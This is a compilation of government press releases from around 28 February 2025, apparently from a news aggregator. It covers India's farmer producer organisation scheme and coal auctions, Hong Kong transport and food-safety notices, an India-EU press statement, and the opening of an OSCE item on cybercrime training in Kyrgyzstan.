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Category: Asia

  • MIL-OSI Asia-Pac: 10,000 FPOs Achieved under Government’s Flagship Scheme

    Source: Government of India

    10,000 FPOs Achieved under Government’s Flagship Scheme

    A Step Towards Atmnirbhar Krishi

    Posted On: 28 FEB 2025 3:21PM by PIB Delhi

    Introduction

    The Central Sector Scheme for “Formation and Promotion of 10,000 Farmer Producer Organizations (FPOs) was launched by Prime Minister Shri Narendra Modi on 29th February, 2020. The scheme was launched with a budget outlay of ₹6,865 Crore till 2027-28. Since the launch of the scheme, ₹254.4 Crore in equity grants has been released to 4,761 FPOs and credit guarantee cover worth ₹453 Cr. has been issued to 1,900 FPOs.[1]

    [2]

    Recently, on the occasion of the release of the 19th instalment of PM-KISAN in Bhagalpur, Bihar, Prime Minister Shri Narendra Modi launched the 10,000th FPO. The 10,000th FPO has been registered in Khagaria district and focuses on maize, banana, and paddy. FPOs are not just organizations but an unprecedented force to increase farmers’ income and provide small farmers with direct access to significant market benefits, bargaining power and improving market access. Approximately 30 lakh farmers in the country are connected to FPOs, with around 40 percent of them being women. These FPOs are now conducting business worth thousands of crores in the agricultural sector.[3]

    Under this scheme, there is a provision for handholding support for a period of five years to each new FPO formed, and financial assistance to the tune of Rs.18 lakhs to each FPO under the scheme towards management cost for 3 years. Additionally, matching equity grant upto Rs. 2,000 per farmer member of FPO with a limit of Rs. 15.00 lakh per FPO and a credit guarantee facility upto Rs. 2 crore of project loan per FPO from eligible lending institutions to ensure institutional credit accessibility to FPOs[4]

    What are FPOs?

    Farmer Producer Organisation (FPO) is a generic name, which refers to farmer- producers’ organization incorporated/ registered either under Part IXA of Companies Act or under Co-operative Societies Act of the concerned States and formed for the purpose of leveraging collectives through economies of scale in production and marketing of agricultural and allied sector.

    The concept behind Farmer Producer Organizations is that farmers, who are the producers of agricultural products, can form groups. To facilitate this process, the Small Farmers’ Agribusiness Consortium (SFAC) was mandated by Department of Agriculture and Cooperation, Ministry of Agriculture, Govt. of India, to support the State Governments in the formation of Farmer Producer Organizations (FPOs).[5]

    The “Formation and Promotion of 10,000 Farmer Producer Organizations (FPOs)” scheme was launched with the main focus on leveraging economies of scale in production and marketing with a view to enhance productivity through efficient, cost effective and sustainable resource use for ensuring sustainable income-oriented farming, thus helping in reduction of cost of farm production and increase in farmers’ income.[6]

    Need for FPOs

    • Small, marginal and landless farmers face tremendous challenges during agriculture production phase such as for access to technology, quality seed, fertilizers and pesticides including requisite finances.
    • They also face tremendous challenges in marketing their produce due to lack of economic strength.
    • FPOs help in collectivization of such small, marginal and landless farmers in order to give them the collective strength to deal with such issues. Members of the FPO will manage their activities together in the organization to get better access to technology, input, finance and market for faster enhancement of their income.[7]

    OBJECTIVES

    1. To provide holistic and broad-based supportive ecosystem to form 10000 new FPOs to facilitate development of vibrant and sustainable income-oriented farming and for overall socio-economic development and wellbeing of agrarian communities.
    2. To enhance productivity through efficient, cost-effective and sustainable resource use and realize higher returns through better liquidity and market linkages for their produce and become sustainable through collective action.
    3. To provide handholding and support to new FPOs up to five years from the year of its creation in all aspects of management of FPO, inputs, production, processing and value addition, market linkages, credit linkages and use of technology etc.
    4. To provide effective capacity building to FPOs to develop agriculture entrepreneurship skills to become economically viable and self-sustaining beyond the period of support from the government.[8]

    Convergence of Ministries for FPOs in India-

    1. Ministry of Agriculture & Farmers Welfare: Supports FPOs in getting seed, pesticides and fertilizer licenses, and helps in providing dealership through Agri Input companies. With this assistance, FPOs are able to work as dealers/distributors and generate income. The Ministry also supports FPOs by linking them to Institutional buyers and through ecommerce platforms like ONDC, e-NAM etc.[11]
    2. Ministry of Food Processing: Support for FPOs through financial outlays, such as providing credit-linked capital subsidy @ 35% of the eligible project cost, 50% financial grant for branding and marketing.[12]
    3. Ministry of Micro & Small Enterprises: Special provisions for FPOs such as access to funds in the form of FPO management cost, equity grant and credit guarantee facility apart from capacity building trainings, marked and credit linkages.  [13]
    4. Ministry of Fisheries, Animal Husbandry, and Dairying: Benefits and schemes tailored to FPOs, such as “Supporting Dairy Cooperatives and Farmer Producer organizations engaged in dairy activities” with a total allocation of Rs. 500 Cr during 2021-22 to 2025-26.[14] Additionally, forming and promoting 100 Fodder Plus FPOs through NDDB (National Dairy Development Board).[15]
    5. APEDA (Agricultural & Processed Food Products Export Development Authority): APEDA provides assistance to APEDA registered FPOs for export and MSME under its scheme of Fund for Regeneration of Traditional Industries (SFURTI), which provides assistance for setting up enterprises.[16]
    6. Spices Board: The Sustainability in Spice Sector through Progressive, Innovative and Collaborative Interventions for Export Development (SPICED) scheme is designed to expand area and improve productivity of Cardamom (small & large). It also aimed at generating an exportable surplus of quality spices through post-harvest improvement, export promotion of spices, increasing the share of value-added spices in the export basket, evaluating compliance of export consignments with applicable standards of quality and safety, capacity building & skill development of stakeholders etc. [17]

    [18]

    Services and Activities undertaken by FPOs

    The FPOs provide and undertake following relevant major services and activities for their development:

    1. Supply quality production inputs like seed, fertilizer, pesticides and such other inputs at reasonably lower wholesale rates
    2. Make available need-based production and post-production machinery and equipment like cultivator, tiller, sprinkler set, combine harvester and such other machinery and equipment on custom hiring basis for members to reduce the per 2 unit production cost
    3. Make available value addition like cleaning, assaying, sorting, grading, packing and also farm level processing facilities at user charge basis on reasonably cheaper rate. Storage and transportation facilities may also be made available
    4. Undertake higher income generating activities like seed production, bee keeping, mushroom cultivation etc
    5. Undertake aggregation of smaller lots of farmer-members’ produce; add value to make them more marketable
    6. Facilitate market information about the produce for judicious decision in production and marketing
    7. Facilitate logistics services such as storage, transportation, loading/un-loading etc. on shared cost basis.
    8. Market the aggregated produce with better negotiation strength to the buyers and in the marketing channels offering better and remunerative prices[19]

     

    Initiatives under the scheme

    Credit Guarantee Fund: FPOs need finance, both grants and loans, to quickly establish input collectivisation, working capital, marketing and improved services to member farmers. Considering FPOs’ need for credit from formal financial institutions, a dedicated Credit Guarantee Fund (CGF) has been created under the Central Sector Scheme for Formation and Promotion of 10,000 FPOs. CGF provides credit guarantee cover to financial institutions for extending loans to FPOs.[20]

    ONDC platform: Almost 5 thousand out of 8,000 registered Farmer Producer Organizations (FPOs) have been registered on Open Network for Digital Commerce (ONDC) portal for selling the produce online to consumers across the country. The onboarding of FPOs on ONDC to reach out to their buyers in any part of the country is in line with the Central government objective of providing growers with better market access. The move aims to empower FPOs with direct access to digital marketing, online payment, business-to-business and business-to-consumer transactions.[21]

    MoU to convert 10,000 FPOs into CSCs: An MoU between CSC SPV (Common Services Centres Special Purpose Vehicle) and Ministry of Agriculture & Farmer’s Welfare was signed to convert FPOs registered under ‘Formation & Promotion of 10,000 FPOs scheme’ into CSCs and help them to deliver citizen-centric services. As per the MoU, 10,000 FPOs will be converted into CSCs. CSC SPV will enable them to provide the services that are available on the Digital Seva Portal. The delivery of CSC services through FPOs is aimed at increasing employment opportunities in rural areas.[22]

    [23]

    FPOs provide special focus to include small, marginal and women farmers/women SHGs, SC/ST farmers and other economically weaker categories etc. as members to make FPOs more effective and inclusive.
     

    How to Apply

    FPOs/FPCs can register on e-NAM Portal via website (www.enam.gov.in) or mobile app or providing following details at nearest e-NAM mandi:

    • Name of FPOs/ FPCs
    • Name, address, email Id and contact no. of authorized person (MD/CEO /Manager)
    • Bank account Details (Name of Bank, Branch, Account no. IFSC Code)[24]

    Conclusion

    Formation & promotion of FPOs is the first step for converting Krishi into Atmanirbhar Krishi. The successful formation of 10,000 Farmer Producer Organizations (FPOs) under the Central Sector Scheme marks a transformative milestone for the agriculture sector. By fostering collectivization, enhancing market access, and providing financial and institutional support, this initiative has empowered millions of small and marginal farmers, including women and economically weaker sections. This achievement not only boosts agricultural productivity and income but also contributes to rural job creation and economic resilience. As India moves forward, the continued support and expansion of FPOs will be instrumental in shaping a self-reliant, efficient, and prosperous agricultural ecosystem.

    References:

    Click here to see PDF.

    *****

    Santosh Kumar/ Ritu Kataria/ Kritika Rane

    (Release ID: 2106913) Visitor Counter : 88

    MIL OSI Asia Pacific News –

    March 1, 2025

  • MIL-OSI Asia-Pac: Government receives 27 expression of interest submissions for Smart and Green Mass Transit System in Hung Shui Kiu/Ha Tsuen and Yuen Long South New Development Areas project

    Source: Hong Kong Government special administrative region

    Government receives 27 expression of interest submissions for Smart and Green Mass Transit System in Hung Shui Kiu/Ha Tsuen and Yuen Long South New Development Areas project
    Government receives 27 expression of interest submissions for Smart and Green Mass Transit System in Hung Shui Kiu/Ha Tsuen and Yuen Long South New Development Areas project
    ******************************************************************************************

         ​The Transport and Logistics Bureau, jointly with the Transport Department (TD), invited relevant system suppliers and operators to submit expressions of interest (EOI) for the Smart and Green Mass Transit System (SGMTS) project in Hung Shui Kiu/Ha Tsuen and Yuen Long South New Development Areas (HSK/HT and YLS NDAs) on December 20, 2024. The invitation for the EOI closed today (February 28), and a total of 27 submissions from local, Mainland and overseas companies have been received.     A spokesperson for the TD said, “The feedback gathered from the EOI will enhance our understanding of various technical aspects of the project, including system characteristics, operational capabilities, and maintenance and repair requirements. We will immediately commence analysing the information from the EOI, which will serve as a reference for firming up the specific requirements and designs of the SGMTS and the relevant infrastructure, as well as ascertaining the delivery mode and financial arrangements of the project.”     “The Government will continue to take forward the SGMTS in the HSK/HT and YLS NDAs project with full momentum, endeavouring to invite tenders for the project in 2026 and award the contract in 2027. In addition, we will make reference to the views gathered from the EOI to explore various procurement options, and to review the feasibility of shortening the overall programme of the project,” the spokesperson added.

     
    Ends/Friday, February 28, 2025Issued at HKT 18:00

    NNNN

    MIL OSI Asia Pacific News –

    March 1, 2025

  • MIL-OSI Asia-Pac: Import of poultry meat and products from areas in Poland and Sweden suspended

    Source: Hong Kong Government special administrative region

    Import of poultry meat and products from areas in Poland and Sweden suspended
    Import of poultry meat and products from areas in Poland and Sweden suspended
    *****************************************************************************

         ​The Centre for Food Safety (CFS) of the Food and Environmental Hygiene Department announced today (February 28) that in view of notifications from the World Organisation for Animal Health (WOAH) about outbreaks of highly pathogenic H5N1 avian influenza in Kościan District of Wielkopolskie Region in Poland, and in Municipality of Kristianstad of Skåne County in Sweden, the CFS has instructed the trade to suspend the import of poultry meat and products (including poultry eggs) from the above-mentioned areas with immediate effect to protect public health in Hong Kong.     A CFS spokesman said that according to the Census and Statistics Department, Hong Kong imported about 6 600 tonnes of frozen poultry meat from Poland, and about 110 tonnes of frozen poultry meat from Sweden last year.     “The CFS has contacted the Polish and Swedish authorities over the issues and will closely monitor information issued by the WOAH and the relevant authorities on the avian influenza outbreaks. Appropriate action will be taken in response to the development of the situation,” the spokesman said.

     
    Ends/Friday, February 28, 2025Issued at HKT 17:45

    NNNN

    MIL OSI Asia Pacific News –

    March 1, 2025

  • MIL-OSI Asia-Pac: English translation of Press Statement by Prime Minister Shri Narendra Modi during the Joint Press Conference with President of European Commission (February 28, 2025)

    Source: Government of India (2)

    Posted On: 28 FEB 2025 3:04PM by PIB Delhi

    Your Excellency, President of the European Commission,

    European College of Commissioners,

    Delegates,

    Friends from the media,

    Namaskar!

    This visit of the President of the European Commission and the College of Commissioners to India is unprecedented.

    This isn’t just the European Commission’s first visit to India, but also the first such comprehensive engagement of the European Commission in any single country. Also, this is one of the first visits of the new Commission in its latest term. On this historic occasion, I warmly welcome the President of the European Commission and the College of Commissioners to India.

    Friends,

    This two-decade long strategic partnership between India and EU is natural and organic. Its core is built on trust, a shared belief in democratic values, and a mutual commitment to prosperity and shared progress.

    In this spirit, we have held almost 20 ministerial level meetings of different sectors between yesterday and today. Sincere and meaningful discussions were held on various regional and global matters. Many important decisions have been taken to elevate and accelerate our partnership.

    We have prepared a blueprint for collaboration in the areas of Trade, Technology, Investment, Innovation, Green Growth, Security, Skilling and Mobility. We have directed our teams to conclude a mutually beneficial Bilateral Free Trade Agreement by the end of this year.

    Friends,

    To strengthen the investment framework, there has also been talk of moving forward on Investment Protection and GI Agreement. In the field of Technology and Innovation, a trusted and secure value chain is our common priority.

    We have also agreed on increasing cooperation in semiconductors, AI, high performance computing and 6G. We have also decided to initiate a Space Dialogue.

    Friends,

    A balance between Ecology and Economy has been our shared commitment, and our cooperation in this direction has been strong. We have decided to conduct a Green Hydrogen Forum and Offshore Wind Energy Business Summit. Joint research shall be undertaken on EV Batteries, Marine plastics and Green hydrogen. We shall also take forward our Joint Plan on Sustainable Urban Development.

    In the field of connectivity, concrete steps will be taken, to take forward the India – Middle East – Europe Economic Corridor or “IMEEC”. I firmly believe that “IMEEC” shall serve as an engine that drives global commerce, sustainable growth and prosperity in the days to come.

    Friends,

    Our growing cooperation on issues related to Defence and Security, is a symbol of our mutual trust. We will take forward our cooperation on Cyber Security, Maritime Security and Counter Terrorism.

    Both sides agree on the importance of peace, security, stability and prosperity in the Indo-Pacific region. We welcome the decision of the EU to join the “Indo Pacific Oceans Initiative”. We will work together on Triangular Development projects for sustainable and inclusive development in the Indo-Pacific region and Africa.

    Friends,

    People-to-people connect is the strongest asset of our relationship. Today, we have reached a new agreement to increase academia, research and industry partnerships between us. I believe that India’s young talent and Europe’s innovation can together create limitless possibilities.

    We welcome the new visa cascade regime of the EU. This will provide better mobility to the abilities of India’s talented youth.

    Today, we have decided to create a bold and ambitious roadmap for the India-EU partnership for the period beyond 2025. It will be launched during the next India-EU Summit.

    Excellency,

    Your visit to India has given new momentum, energy and enthusiasm to our partnership. This journey is the biggest catalyst that will translate our ambition into action.

    I eagerly look forward to the opportunity of welcoming you back to India for the next India-EU Summit.

    Thank you very much.

    ******

    MJPS/ST/SKS

    (Release ID: 2106908) Visitor Counter : 106

    MIL OSI Asia Pacific News –

    March 1, 2025

  • MIL-OSI Asia-Pac: National Training Course for Talents Handling Foreign-related Arbitration (Hong Kong) organised by Hong Kong International Legal Talents Training Academy and Ministry of Justice concludes

    Source: Hong Kong Government special administrative region

         The two-week National Training Course for Talents Handling Foreign-related Arbitration (Hong Kong), organised by the Hong Kong International Legal Talents Training Academy and the Ministry of Justice, concluded today (February 28).

         The Deputy Secretary for Justice, Dr Cheung Kwok-kwan, attended the closing ceremony this afternoon and expressed gratitude to the Ministry of Justice, the China University of Political Science and Law, and the China Legal Service (H.K.) Limited for their support and assistance that was crucial to the success of the training course. He also extended his gratitude to the participants for their active participation. He further mentioned that the Academy will continuously organise more tailor-made training programmes to give full play to Hong Kong’s unique strength in nurturing more foreign-related legal talent for the country.

         The two-week training course for more than 80 participants, comprising Mainland in-house counsel, experienced arbitrators, lawyers and arbitration practitioners, commenced last Monday (February 17). Speakers of the training course included members of the Hong Kong International Legal Talents Training Expert Committee and experienced local legal professionals.

         The Academy will capitalise on Hong Kong’s bilingual common law system and international status and continue to leverage the unique advantages of enjoying the strong support of the motherland and being closely connected to the world under the “one country, two systems” principle. Also, it will promote exchange of international legal talent and reinforce Hong Kong’s status as a centre for international legal and dispute resolution services in the Asia‑Pacific region, in order to develop Hong Kong as a capacity-building centre and play a better role in the construction of foreign-related rule of law of the country.

    MIL OSI Asia Pacific News –

    March 1, 2025

  • MIL-OSI Asia-Pac: Coal Ministry Successfully Hosts Roadshow on Investment Opportunities and Commercial Coal Mine Auctions in Mumbai

    Source: Government of India (2)

    Coal Ministry Successfully Hosts Roadshow on Investment Opportunities and Commercial Coal Mine Auctions in Mumbai

    Coal Minister Reaffirms Government’s Commitment to Mine Safety and Community Welfare

    12th Round of Commercial Coal Mines Auctions to Include Underground Mines

    Posted On: 28 FEB 2025 2:49PM by PIB Delhi

    The Ministry of Coal, in its continued efforts to promote investment opportunities in the coal sector and commercial coal mine auctions, successfully conducted a high-impact roadshow today in Mumbai. The event was graced by Union Minister of Coal and Mines, Shri G. Kishan Reddy, as the Chief Guest. Also present were, Shri Vikram Dev Dutt, Secretary, Ministry of Coal, Ms. Rupinder Brar, Additional Secretary & Nominated Authority, Ministry of Coal, and senior officials from the Ministry of Coal. The event also witnessed the participation of key stakeholders, industry leaders, investors, and policy experts, who engaged in insightful discussions on the future of coal mining in India.

    The roadshow served as a strategic platform to accelerate private sector participation, enhance domestic coal production, and promote sustainable mining practices. It focused on policy reforms, ease of doing business, and technological advancements, reaffirming the Government’s commitment to unlocking the full potential of India’s coal sector while ensuring environmental sustainability and long-term energy security.

    In his keynote address, Union Minister of Coal and Mines, Shri G. Kishan Reddy highlighted the crucial role of coal in India’s economic progress, particularly in ensuring energy security and meeting growing industrial and power sector demands. He reiterated the Government’s commitment, under the leadership of Prime Minister Shri Narendra Modi, to accelerate domestic coal production, reducing import dependence, and ensuring sustainable mining practices.

     

    The Minister emphasized the remarkable growth in India’s coal production, which has enabled industries and power plants to meet their energy needs efficiently. He underscored the Government’s efforts to bridge the demand-supply gap and ensure uninterrupted coal availability for both captive and commercial consumers. Shri Reddy reaffirmed that coal remains the backbone of India’s energy landscape, contributing over 70% to electricity generation. He also outlined key reforms to attract private investment in commercial coal mining, enhance ease of doing business, and deploy advanced technologies such as automation and digital monitoring to optimize mining operations while minimizing environmental impact. Additionally, the minister highlighted the Government’s large-scale afforestation initiatives on reclaimed land, leading to the development of eco-parks, green belts, and biodiversity zones. Further, he assured that as per Mine closure plan, post-mining landscapes are being restored for sustainable use, including agriculture, forestry, and mine tourism, benefiting local communities.

    As India moves towards becoming the world’s third-largest economy and strives for Viksit Bharat 2047, minister reaffirmed the Government’s commitment to community welfare, prioritizing mine safety, rehabilitation, and skill development initiatives. Impressing upon sustainability, minister highlighted the importance of socio-economic upliftment of coal dependent communities and said that worker safety remains a priority urging coal companies to adopt best safety practices, and eco-friendly mining practices to ensure environmental conservation and long-term sectoral stability.

    In his address, Shri Vikram Dev Dutt, Secretary, Ministry of Coal, assured investors of the Ministry’s proactive approach in facilitating seamless investment in the coal sector. He emphasized that the Ministry is committed to assisting investors at every stage from obtaining clearances to project execution by coordinating with regulatory bodies and stakeholder ministries to expedite approvals for early operationalization.

     

     He further emphasized that the Ministry is ensuring a fast-tracked approval process, reducing bottlenecks, and improving transparency in the allocation of coal blocks. The Secretary reaffirmed the Ministry’s focus on afforestation on Mined-out land biodiversity conservation, and responsible mine closure practices, ensuring mining activities align with India’s sustainability goals. He also announced that the upcoming 12th round of auctions which is going to start very soon will include underground mines, offering additional financial incentives. Encouraging industry leaders and investors to actively participate in upcoming coal mine auctions, he assured them of full government support, including regulatory assistance, financial incentives, and streamlined processes to enhance business confidence. He reiterated that India’s coal sector offers immense opportunities for investment, innovation, paving the way for a self-reliant and resilient energy future.

    In her welcome address, Ms. Rupinder Brar, Additional Secretary & Nominated Authority, Ministry of Coal, underlined the strategic importance of private sector’s participation in coal mining. She reaffirmed the Ministry’s commitment to creating a transparent, competitive, and investor-friendly coal sector. She also highlighted key incentives available to investors and urged stakeholders to leverage policy reforms for long-term growth. She noted that since the commencement of commercial coal mining, coal demand has surged, and the Government has allowed its use beyond captive purposes, enabling mining companies to operate with greater flexibility and market coal as a commodity.

     

    The roadshow featured detailed discussions on investment potential, regulatory reforms, sustainability measures, and coal gasification prospects. It provided a platform for direct engagement between policymakers and industry leaders, facilitating insightful deliberations on upcoming rounds of commercial coal mine auctions, Technological advancements, best practices in sustainable coal mining, policy support for ease of doing business and fast-tracking project approvals.

    The roadshow included an engaging and interactive Q&A session, where investors actively engaged with officials, seeking clarity on policies, auction processes, and growth prospects in the coal sector. The queries of potential investors were addressed comprehensively, reinforcing confidence in the industry’s transparent and investor-friendly approach.

    The Mumbai roadshow was another significant milestone in the Ministry of Coal’s mission to promote investment, enhance domestic production, and ensure a sustainable future for coal mining in India. The event reinforced the Government’s commitment to strengthening investor confidence, fostering innovation, and advancing India’s energy security goals in line with the vision of Atmanirbhar Bharat.

    Hon’ble Minister of Coal & Mines, Shri G Kishan Reddy, addressed the Roadshow on Investment Opportunities in the Coal Sector & Commercial Coal Mine Auctions in Mumbai, highlighting the transformative vision for India’s coal industry. He emphasized key policy reforms, ease of… pic.twitter.com/YfDjlN666g

    — Ministry of Coal (@CoalMinistry) February 28, 2025

    During his insightful address at the Roadshow on Commercial Coal Mine Auctions, Shri Vikram Dev Dutt, Secretary, Ministry of Coal, highlighted the sector’s strong growth trajectory. Emphasizing the importance of investor outreach, he noted that the policy framework has been… pic.twitter.com/k1SXLTo1ll

    — Ministry of Coal (@CoalMinistry) February 28, 2025

    In a welcome address during the roadshow on commercial coal mine auctions at The Taj Mahal Palace, Mumbai.

    Ms. Rupinder Brar, Additional Secretary & Nominated Authority , Ministry of Coal, highlighted that 2025 marks five years since the launch of commercial coal mine auctions,… pic.twitter.com/3YVIGXahD7

    — Ministry of Coal (@CoalMinistry) February 28, 2025

    ****

    Shuhaib T

    (Release ID: 2106901) Visitor Counter : 102

    MIL OSI Asia Pacific News –

    March 1, 2025

  • MIL-OSI Asia-Pac: Special traffic and transport arrangements in Chai Wan during Ching Ming Festival

    Source: Hong Kong Government special administrative region

    Special traffic and transport arrangements in Chai Wan during Ching Ming Festival
    Special traffic and transport arrangements in Chai Wan during Ching Ming Festival
    *********************************************************************************

         The Transport Department (TD) today (February 28) reminded members of the public that in anticipation of a large number of grave-sweepers heading to the cemeteries along Cape Collinson Road in Chai Wan during the Ching Ming Festival period, the following special traffic and transport arrangements will be implemented there to facilitate their visits to the cemeteries.A. Special traffic arrangements (i) Temporary prohibited zone The section of Cape Collinson Road to the east of Lin Shing Road (i.e. the left-turning movement from Lin Shing Road to Cape Collinson Road leading to the Chinese Permanent Cemetery) will be temporarily designated as private car and light goods vehicle prohibited zone from 7am to 3pm daily from March 8 to April 27. All private cars and light goods vehicles, expect those with permits, will be prohibited from entering the prohibited zone. (ii) Road closures In connection with the implementation of road closures at Cape Collinson Road and its vicinity by the Police, except for the exempted vehicles, Lin Shing Road and Cape Collinson Road will be closed to all vehicular traffic from 7am to 5pm on the specified dates. 

    Road closures arrangements
    Date
    Exempted vehicles

    Phase 1 road closures
    March 22, 23, 29 and 30 and April 5, 6, 12 and 13
    Franchised buses; green minibuses (GMBs) routes 16A, 16M, 16X and 18M; taxis; hearses; funeral vehicles; and vehicles with permits

    Phase 2 road closures
    April 4(Ching Ming Festival)
    Franchised buses; GMBs routes 16A, 16M, 16X; hearses; funeral vehicles; and vehicles with permits

     B. Public transport services (i) The following special bus services will be operated on the specified dates and the bus services will be strengthened depending on the passenger demand and traffic conditions. 

    Routes
    Date
    Operating period

    Citybus (CTB) Route 388 (Circular) – between Chai Wan Station Bus Terminus and Chai Wan Cemeteries
    March 16
    10am to 2pm

    March 22, 23, 29 and 30
    9am to 4pm

    April 4(Ching Ming Festival)
    8am to 6pm

    April 5 and 6
    9am to 4pm

    April 12 and 13
    9am to 2pm

    April 19 and 20
    10am to 2pm

    CTB Route 389 (Circular) – between Shau Kei Wan Bus Terminus and Chai Wan Cemeteries
    March 23, 29 and 30
    9am to 4pm

    April 4(Ching Ming Festival)
    8am to 6pm

    April 5 and 6
    9am to 4pm

    April 12 and 13
    9am to 2pm

     (ii) CTB route X9 will operate additional departures from Shek O to Central (Central Ferry Piers) from noon to 4pm on April 4 (Ching Ming Festival). (iii) CTB routes 8X, 9 and 780 and cross harbour routes 106, 118 and 606, and GMB route 18M will be strengthened subject to passenger demand.      During the Ching Ming Festival period, adjustments to the extent of road closures, traffic control measures and public transport diversions will be made by the Police depending on the actual traffic conditions in the areas.      Grave-sweepers are advised to plan their journey early and allow more travelling time. If they would like to go to the cemeteries along Cape Collinson Road in Chai Wan outside the above-mentioned road closure periods, they should use public transport services as far as possible. They can take GMB routes 16A, 16M, 16X or 18M at Chai Wan MTR Station to Cape Collinson Road, or take CTB Route 9 at Shau Kei Wan Bus Terminus to Shek O Road near Cape Collinson Road. Grave-sweepers heading to the Cape Collinson-San Ha Columbarium may also make use of the escalators and pedestrian access route connecting San Ha Street at Chai Wan (near Chai Wan MTR Station Exit A) and the said columbarium.      The TD anticipates that the traffic in the vicinity of Cape Collinson Road, Lin Shing Road and Wan Tsui Road in Chai Wan will be busy. Motorists are advised not to drive to the congested and affected areas, and should exercise tolerance and patience in case of traffic congestion and observe the instruction given by the Police.      Members of the public are advised to be alert to the latest traffic news on radio and television. They may also visit the TD’s website (www.td.gov.hk) or use the mobile application “HKeMobility” for the latest traffic and public transport information.

     
    Ends/Friday, February 28, 2025Issued at HKT 17:30

    NNNN

    MIL OSI Asia Pacific News –

    March 1, 2025

  • MIL-OSI Asia-Pac: LegCo Members meet with members of Yuen Long and Islands District Councils (with photos)

    Source: Hong Kong Government special administrative region

    LegCo Members meet with members of Yuen Long and Islands District Councils (with photos)
    LegCo Members meet with members of Yuen Long and Islands District Councils (with photos)
    ****************************************************************************************

    The following is issued on behalf of the Legislative Council Secretariat:     Legislative Council (LegCo) Members met with Yuen Long District Council (DC) and Islands DC members at the LegCo Complex today (February 28). They held in-depth discussions and exchanged views on issues related to community development and people’s concern.     During the meeting with Yuen Long DC, LegCo Members discussed and exchanged views with DC members on various issues, including expediting the recreational and sports facility projects in the district; studying the expansion plan of Tin Shui Wai Hospital to address the increasing demand for public healthcare services arising from the anticipated population surge and the development of the Northern Metropolis; as well as seizing development opportunities in the Northern Metropolis to replan the public sewerage system and rural drainage projects in the new development areas to improve environmental hygiene.     The meeting was convened by Mr Michael Tien. A total of 23 Members attended the meeting including Professor Priscilla Leung, Mr Steven Ho, Mr Ma Fung-kwok, Dr Lo Wai-kwok, Dr Junius Ho, Mr Holden Chow, Mr Luk Chung-hung, Mr Lau Kwok-fan, Mr Kenneth Lau, Ms Doreen Kong, Ms Nixie Lam, Mr Lam San-keung, Mr Kenneth Leung, Ms Chan Yuet-ming, Mr Chan Pui-leung, Mr Gary Zhang, Mr Benson Luk, Mr Lai Tung-kwok, Professor Lau Chi-pang, Dr Ngan Man-yu, Mr Yim Kong and Professor Chan Wing-kwong.     As for the meeting with Islands DC, LegCo Members discussed and exchanged views with DC members on various issues, including the public facilities, public services, and ancillary transport facilities of the Tung Chung New Town Extension; the traffic congestion in the vicinity of Tung Chung Town centre and suggestions for improvements; as well as implementing initiatives from the Policy Address to develop tourist hotspots in the Islands districts to fully utilise its tourism potential.     The meeting was convened by Mrs Regina Ip. A total of 19 Members attended the meeting including Professor Priscilla Leung, Dr Chan Han-pan, Mr Kwok Wai-keung, Dr Lo Wai-kwok, Mr Chan Chun-ying, Mr Kenneth Lau, Mr Tony Tse, Ms Doreen Kong, Mr Kenneth Leung, Ms Chan Yuet-ming, Ms Judy Chan, Mr Chan Siu-hung, Ms Joephy Chan, Mr Chan Hok-fung, Mr Benson Luk, Mr Edmund Wong, Mr Kenneth Fok and Dr So Cheung-wing.

     
    Ends/Friday, February 28, 2025Issued at HKT 17:27

    NNNN

    MIL OSI Asia Pacific News –

    March 1, 2025

  • MIL-OSI Asia-Pac: Guangdong-Hong Kong-Macao Greater Bay Area Development Office holds GoGBA Development Day to help enterprises seize opportunities in country’s accelerated development of new quality productive forces (with photos)

    Source: Hong Kong Government special administrative region

         The Guangdong-Hong Kong-Macao Greater Bay Area Development Office of the Constitutional and Mainland Affairs Bureau organised the GoGBA Development Day today (February 28), attracting more than 300 participants to learn about the country’s latest strategic development direction of new quality productive forces. The seminar aimed to assist Hong Kong enterprises in understanding the latest trends of innovation and technology (I&T) development in the Guangdong-Hong Kong-Macao Greater Bay Area (GBA) and, from the perspective of small and medium-sized enterprises (SMEs), to explore how to adjust corporate strategies to leverage the GBA’s strengths and technological advancements to cultivate and stimulate their own momentum for new quality growth and forge ahead with their business development.
     
         In her opening address at the event, the Commissioner for the Development of the Guangdong-Hong Kong-Macao Greater Bay Area, Ms Maisie Chan, said, “As one of the core cities and regional development engines of the GBA, Hong Kong plays a pivotal role in driving the development of new quality productive forces in the GBA. The Hong Kong Special Administrative Region (HKSAR) Government is vigorously nurturing new quality productive forces to achieve high-quality economic development through technological empowerment. The HKSAR Government will continue to explore the formulation of more facilitative policies conducive to the development of I&T, with the aim of attracting and encouraging more Mainland and overseas enterprises to establish a presence in Hong Kong or invest in Hong Kong, thereby converging international innovation resources. By adopting a multipronged approach, the aim is to realise the vision of developing Hong Kong into an international I&T centre.”
     
         Today’s seminar featured multidimensional insights and experiences from industry leaders, professionals and academic experts, ranging from policy interpretations and corporate practices to technology applications. Discussions included how enterprises can achieve sustainable development through technological innovation, how I&T firms can support SMEs in embracing new quality productive forces, and interpreting the policy direction of new quality productive forces and its impacts on enterprises from a macro perspective. During the panel discussion, experts and business representatives shared their invaluable insights on the developments and trends of I&T in the GBA from the perspective of SMEs, and how to capitalise on the opportunities arising from the development of new quality productive forces. On-site one-on-one consultation services were also provided by supporting partners from Hong Kong and other GBA cities.
     
         For more information about the GBA, please visit the dedicated website (www.bayarea.gov.hk/en), which also covers the content of the Greater Bay Area Information Station (www.bayarea.gov.hk/gbais/en) for easy browsing by members of the public.      

    MIL OSI Asia Pacific News –

    March 1, 2025

  • MIL-OSI Europe: OSCE helps Kyrgyz law enforcement develop strategic approaches to training on cybercrime and electronic evidence

    Source: Organization for Security and Co-operation in Europe – OSCE

    Headline: OSCE helps Kyrgyz law enforcement develop strategic approaches to training on cybercrime and electronic evidence

    Workshop participants discuss in groups a competencies matrix on investigating cybercrimes and handling electronic evidence for different criminal justice roles in Kyrgyzstan, Bishkek, 27 February 2025. (OSCE/Juraj Nosal) Photo details

    The OSCE Transnational Threats Department held a national workshop for 15 senior representatives of Kyrgyz law enforcement agencies in Bishkek on 27 and 28 February. The event aimed at building the agencies’ capacities to provide systematic and sustainable professional training and development on investigating cybercrimes and other crimes involving electronic evidence.
    “The complex nature of digital technologies and electronic evidence makes it impossible for all law enforcement practitioners to be experts in this field. For professional training and development to be effective, it is thus essential to first define what types of competencies are necessary for each law enforcement role. Training and educational programmes then need to be adjusted to these requirements,” said Konstantin Bedarev, Head of the Politico-Military Department of the OSCE Programme Office in Bishkek, during his opening remarks. 
